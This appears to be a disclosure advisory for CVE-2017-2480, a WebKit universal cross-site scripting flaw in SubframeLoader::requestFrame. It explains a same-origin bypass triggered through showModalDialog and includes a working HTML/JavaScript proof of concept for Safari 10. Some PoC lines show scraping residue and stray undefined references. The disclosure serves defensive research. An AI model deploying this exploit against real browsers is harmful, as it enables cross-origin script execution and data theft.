WebKit: UXSS via a synchronous page load
CVE-2017-2480
Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed.
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
// Support for <frame src="javascript:string">
URL scriptURL;
URL url;
if (protocolIsJavaScript(urlString)) {
scriptURL = completeURL(urlString); // completeURL() encodes the URL.
url = blankURL();
} else
url = completeURL(urlString);
if (shouldConvertInvalidURLsToBlank() && !url.isValid())
url = blankURL();
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
if (!frame)
return false;
if (!scriptURL.isEmpty())
frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom
return true;
}
A SOP violation check is made before the above method is called. But the frame's document can be changed before |frame->script().executeIfJavaScriptURL| called. This can happen by calling |showModalDialog| that enters a message loop that may start pending page loads.
Tested on Safari 10.0.3(12602.4.8).
PoC:
<body>
<p>click anywhere</p>
<script>
window.onclick = () => {
window.onclick = null;
f = document.createElement('iframe');
f.src = 'javascript:alert(location)';
f.onload = () => {
f.onload = null;
let a = f.contentDocument.createElement('a');
a.href = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a>
a.click();
window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
try {
opener[0].document.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
};
document.body.appendChild(f);
};
cached.src = kUrl;
</script>
</body>
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Found by: lokihardt
